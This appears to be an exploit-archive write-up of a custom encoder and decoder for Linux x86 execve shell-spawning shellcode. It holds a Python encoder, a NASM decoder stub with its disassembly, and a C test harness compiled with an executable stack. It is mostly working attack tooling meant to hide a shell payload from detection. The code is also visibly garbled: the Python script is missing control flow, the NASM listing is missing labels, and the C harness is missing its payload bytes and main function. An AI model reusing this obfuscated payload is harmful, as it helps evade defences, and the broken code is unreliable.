Followtheleader custom execve-shellcode Encoder/Decoder  - Linux Intel/x86
Author: Konstantinos Alexiou
a)Python script. Encoder for shellcode (execve)
# Author:Konstantinos Alexiou  
# Encoding name: Followtheleader-encoder
# Description: Custom execve-shellcode encoder based on a given random byte which is used to encode the execve shellcode
import random
import sys
shellcode =('\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80')
total = len(sys.argv)
if total != 2:
        print '!!Give the LEADER byte' 
        print 'Script must run as: python xxx.py LEADER'
        print 'LEADER is any integer between 17-255'
        print 'e.g  python Followtheleader.py 32'
        leader = int(sys.argv[1])
        fb = int(hex(leader)[2:3],16)                                     # Split the LEADER. If leader = AF -->fb=A
        sb = int(hex(leader)[3:],16)                                      # Split the LEADER. If LEADER = AF -->sb=F
        encoded = ' '
        encoded2 = ' ' 
        encoded = '\\x'
        encoded += hex(leader)[2:]                                        # FIRST byte the LEADER 
        encoded2 = '0x'
        encoded2 += hex(leader)[2:]
        for x in bytearray(shellcode):                                    # READ every Instruction as BYTE  
                i +=1
                hopcode = '%02x' %x                                       # KEEP only the HEX value of opcode
                Dec_hopcode = int(hopcode, 16)                            # CALCULATE the DECIMAL value of opcode 
                suplX = 255 - Dec_hopcode                                 # CALCULATE the SUPPLEMENT 
                rev_suplx = hex(suplX)[::-1]                              # REVERT the bytes of SUPPLEMENT (ae --> ea)
                subfs = fb-sb                        
#----------------------------The Encoded byte ----------------------------------------------------
                xxx = hex(int(abs(subfs)) + int(rev_suplx[0:2],16))
                if len(xxx)>4:                                            # Check if xxx > 0xff
                        print 'Overflow encoding.Try again!!!.'
                elif xxx == '0x0':                                        # Check if ZERO byte was encoded 
                        print 'A byte was Encoded as 0x00 .Try again!!!'
                encoded +=  '\\x'                                         # Put \x first
                encoded +=  xxx[2:]                                       # Put the xxx afterwards
                insertByte = hex(random.randint(1,255))                   # Put a Random byte 
                encoded += '\\x'            
                encoded += insertByte[2:]   
                i +=1
                encoded2 += ','
                encoded2 += xxx 
                encoded2 += ','           
                encoded2 += '0x'
                encoded2 += insertByte[2:]
        print ' *************';
        print ' LEADER BYTE :decimal(%d), HEX(0x%x)'  %(int(sys.argv[1]),leader)
        print ' *************';
        print 'Len of Shellcode: %02d' % i
        print '------------------------------------------------------------------------';
        print '   1. Style:= %s ' % encoded
        print '------------------------------------------------------------------------';
        print '   2. Style:= %s ' % encoded2
        print '------------------------------------------------------------------------';
        print "exiting..."
Followtheleader Encoder test run :
$ python Followtheleader-encoder.py 67
 LEADER BYTE :decimal(67), HEX(0x43)
Len of Shellcode: 50
   1. Style:= \x43\xed\x1d\xf4\x40\xfb\x6f\x7a\xa9\xe\xb6\xe\xbc\xc9\xe3\x7a\xaf\x7a\x78
   2. Style:= 0x43,0xed,0x1d,0xf4,0x40,0xfb,0x6f,0x7a,0xa9,0xe,0xb6,0xe,0xbc,0xc9,0xe3,
b) Decoder for the encoded shellcode (execve-stack)
$ cat Followtheleader-decoder.nasm 
; Filename: Followtheleader-decoder.nasm
; Author:  Konstantinos Alexiou
; Description: Followtheleader custom insertion Encoder, Linux Intel/x86
global _start           
section .text
    jmp short call_shellcode
    pop esi                      ; Address of EncodedShellcode to ESI
    lea edi, [esi]               ; Load effective address of what is contained on EDI
    xor ecx, ecx                 ; Zero ECX
    mul ecx                      ; This instruction will cause both EAX and EDX to become zero
    xor ebp, ebp                 ; Zero the value on EBP 
    mov dl, byte [esi]           ; Put the LEADER byte to EDX (DL) 
;(firstb - secondb) CALCULATION  
    mov al, dl                   ; Copy the LEADER to EAX
    ;firstb extraction of LEADER
    shr dl, 4                    ; Keep only the 4 high bits of LEADER to DL (if Leader=ac then DL=a) [firstb]
    ;secondb extraction of LEADER
    shl eax, 28                  ; shift left 28 bits of EAX which contains the value of Leader on al
    shr eax, 28                  ; shift right 28 of EAX (if EAX=0xc0000000 now EAX=0x0000000c) [secondb]
    sub dl, al                   ; (firstb - secondb) value stored to EDX (DL)
    jns decode_pr    
negative:                        ; Calculate the absolute value if negative  
    not dl
    inc dl
;decode process
    xor eax, eax                
    xor ebx, ebx
    xor ecx, ecx
    mov al, byte [esi+1+ebp]     ; Put the encoded byte to EAX
    mov ecx, ebp                 ; EBP is used as a counter copy the value of EBP to ECX
    xor cl, 0x32                 ; At the end of the shellcode EBP should point 50 in decimal 32 in hex
    je short EncodedShellcode   
    ;rev_suplx Calculation
    mov cl, al                   ; Put the Encoded byte to EAX (xxx to EAX)
    sub cl, dl                   ; rev_suplx= xxx-(firstb - secondb) value stored to CL
    mov bl, cl                   ; Keep Backup of rev_suplx to BL
    mov al, cl                   ; Second backup of CL   
    ;Revert the bytes on rev_suplx 
    shr bl, 4                    ; shift 4 bits right (if was bl=ec now bl=e)
    shl eax, 28                  ; shift left 28 bits of EAX which contains the value of rev_supl on cl( if EAX was 0xec now EAX=0xc0000000) 
    shr eax, 24                  ; shift right 24 of EAX (if EAX=0xc0000000 now EAX=0x000000c0)
    add eax, ebx                 ; add the value on EBX to EAX (if EAX=0x000000c0 + BL=0xe, EAX=0x0000000ce)
    ;Supplement Calculation
    mov bl, 0xff                 ; Value of  0xff to BL
    sub bl, al                   ; Calculate the Supplement
    mov byte [edi], bl           ; Put the decoded byte to the position of EDI
    inc edi                      ; EDI is a pointer to the position which the decoded bytes will be stored
    add ebp,0x2                  ; The EBP is a counter values will be (2,4,6,..50)
    jmp short decode_pr          ; Goto the decode process to decode the next bytes
    call decoder
    EncodedShellcode: db 0x43,0xed,0x1d,0xf4,0x40,0xfb,0x6f,0x7a,0xa9,0xe,0xb6,0xe,0xbc,0xc9,0xe3,0x7a,0xaf,0x7a,0x78,0xe,0xc5,0xda,0x76,0x6a,0x17,0x1a,0x4e,0x68,0x38,0xc2,0x99,0xfb,0x35,0x68,0x84,0xd2,0xb3,0xcb,0x7c,0x68,0x78,0xe2,0x9a,0xf5,0xe9,0x50,0xc0,0x24,0x91,0xf8,0xfe
$ objdump -d ./Followtheleader-decoder -M intel
./Followtheleader-decoder:     file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
 8048060:       eb 4e                   jmp    80480b0 <call_shellcode>
08048062 <decoder>:
 8048062:       5e                      pop    esi
 8048063:       8d 3e                   lea    edi,[esi]
 8048065:       31 c9                   xor    ecx,ecx
 8048067:       f7 e1                   mul    ecx
 8048069:       31 ed                   xor    ebp,ebp
 804806b:       8a 16                   mov    dl,BYTE PTR [esi]
 804806d:       88 d0                   mov    al,dl
 804806f:       c0 ea 04                shr    dl,0x4
 8048072:       c1 e0 1c                shl    eax,0x1c
 8048075:       c1 e8 1c                shr    eax,0x1c
 8048078:       28 c2                   sub    dl,al
 804807a:       79 04                   jns    8048080 <decode_pr>
0804807c <negative>:
 804807c:       f6 d2                   not    dl
 804807e:       fe c2                   inc    dl
08048080 <decode_pr>:
 8048080:       31 c0                   xor    eax,eax
 8048082:       31 db                   xor    ebx,ebx
 8048084:       31 c9                   xor    ecx,ecx
 8048086:       8a 44 2e 01             mov    al,BYTE PTR [esi+ebp*1+0x1]
 804808a:       89 e9                   mov    ecx,ebp
 804808c:       80 f1 32                xor    cl,0x32
 804808f:       74 24                   je     80480b5 <EncodedShellcode>
 8048091:       88 c1                   mov    cl,al
 8048093:       28 d1                   sub    cl,dl
 8048095:       88 cb                   mov    bl,cl
 8048097:       88 c8                   mov    al,cl
 8048099:       c0 eb 04                shr    bl,0x4
 804809c:       c1 e0 1c                shl    eax,0x1c
 804809f:       c1 e8 18                shr    eax,0x18
 80480a2:       01 d8                   add    eax,ebx
 80480a4:       b3 ff                   mov    bl,0xff
 80480a6:       28 c3                   sub    bl,al
 80480a8:       88 1f                   mov    BYTE PTR [edi],bl
 80480aa:       47                      inc    edi
 80480ab:       83 c5 02                add    ebp,0x2
 80480ae:       eb d0                   jmp    8048080 <decode_pr>

080480b0 <call_shellcode>:
 80480b0:       e8 ad ff ff ff          call   8048062 <decoder>

080480b5 <EncodedShellcode>:
 80480b5:       43                      inc    ebx
 80480b6:       ed                      in     eax,dx
 80480b7:       1d f4 40 fb 6f          sbb    eax,0x6ffb40f4
 80480bc:       7a a9                   jp     8048067 <decoder+0x5>
 80480be:       0e                      push   cs
 80480bf:       b6 0e                   mov    dh,0xe
 80480c1:       bc c9 e3 7a af          mov    esp,0xaf7ae3c9
 80480c6:       7a 78                   jp     8048140 <EncodedShellcode+0x8b>
 80480c8:       0e                      push   cs
 80480c9:       c5 da 76                (bad)  
 80480cc:       6a 17                   push   0x17
 80480ce:       1a 4e 68                sbb    cl,BYTE PTR [esi+0x68]
 80480d1:       38 c2                   cmp    dl,al
 80480d3:       99                      cdq    
 80480d4:       fb                      sti    
 80480d5:       35 68 84 d2 b3          xor    eax,0xb3d28468
 80480da:       cb                      retf   
 80480db:       7c 68                   jl     8048145 <EncodedShellcode+0x90>
 80480dd:       78 e2                   js     80480c1 <EncodedShellcode+0xc>
 80480df:       9a f5 e9 50 c0 24 91    call   0x9124:0xc050e9f5
 80480e6:       f8                      clc    
 80480e7:       fe                      .byte 0xfe

$ cat shellcode.c
unsigned char code[] =\

        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;

$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
$ ./shellcode
Shellcode Length:  136